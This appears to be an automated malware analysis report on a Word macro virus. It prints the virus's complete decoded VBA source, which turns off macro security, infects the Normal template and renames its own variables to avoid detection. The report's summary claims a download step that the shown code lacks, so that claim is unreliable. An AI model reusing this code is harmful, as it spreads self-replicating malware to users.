Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad22e8fd47ce2ba2…

MALICIOUS

Office (OLE)

46.5 KB Created: 1998-12-26 00:33:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 1146e8aa5c88b4e0fa967154d0e4b435 SHA-1: e8319721e88cf01b3bf9a73f0941dfe10c145520 SHA-256: ad22e8fd47ce2ba2971d5f30e1adfb76fd965d9dadf6741c03e122b806b962da
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code when a document is opened. The macro attempts to disable security settings and appears to be designed to download and execute a secondary payload. The presence of multiple ClamAV detections further supports its malicious nature.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3479 bytes
SHA-256: d4b8c7f82da97d00325ccfb20ed8237cdb0444b1888788a0f247d669995885e3
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
' W97M/PSD by ALT-F11, VAMP Poly by VicodinES
' Converted to W2000/PSD by VicodinES
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
If Day(Now) = Minute(Now) Then
Randomize: For KO3978 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next KO3978: End If
NC2727 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
IN3627 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set MD1340 = ActiveDocument.VBProject.VBComponents.Item(1)
SC6182 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set MD1340 = NormalTemplate.VBProject.VBComponents.Item(1)
OQ186 = True
Call PG788_BL2915
ActiveDocument.Saved = True
End If
If OQ186 <> True And SC6182 <> True Then GoTo KV4745
If OQ186 = True Then MD1340.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, NC2727 - 1) & vbCr & "Sub ViewVBCode()" & vbCr & "Application.Quit SaveChanges:=wdDoNotSaveChanges" & vbCr & "End Sub")
If SC6182 = True Then MD1340.CodeModule.AddFromString ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, IN3627 - 4))
KV4745:
If IN3627 <> 0 And NC2727 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub
Private Function PG788_BL2915()
On Error Resume Next
Randomize
Dim r1(1 To 15) As String
r1(1) = "LD4357": r1(2) = "TM8946": r1(3) = "OF99": r1(4) = "GC6254": r1(5) = "BL2915": r1(6) = "NC2727"
r1(7) = "IN3627": r1(8) = "SC6182":: r1(9) = "MD1340": r1(10) = "OQ186": r1(11) = "KV4745": r1(12) = "PG788": r1(13) = "IR7681": r1(14) = "KA065": r1(15) = "KO3978"
For KO3978 = 1 To 15
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call BL2915(a1, r1(KO3978))
Next KO3978
End Function
Private Function BL2915(KA065, IR7681 As String)
On Error Resume Next
Dim LD4357 As Long: Dim TM8946 As Long: Dim OF99 As Long: Dim GC6254 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
LD4357 = 1: TM8946 = 1: OF99 = .CountOfLines: GC6254 = Len(.Lines(.CountOfLines, 1))
Do While .Find(IR7681, LD4357, TM8946, OF99, GC6254, True)
strline = .Lines(LD4357, 1)
strline = Left(strline, TM8946 - 1) & KA065 & Mid(strline, GC6254)
.replaceline LD4357, strline
LD4357 = OF99 + 1: TM8946 = 1:
OF99 = .CountOfLines
GC6254 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.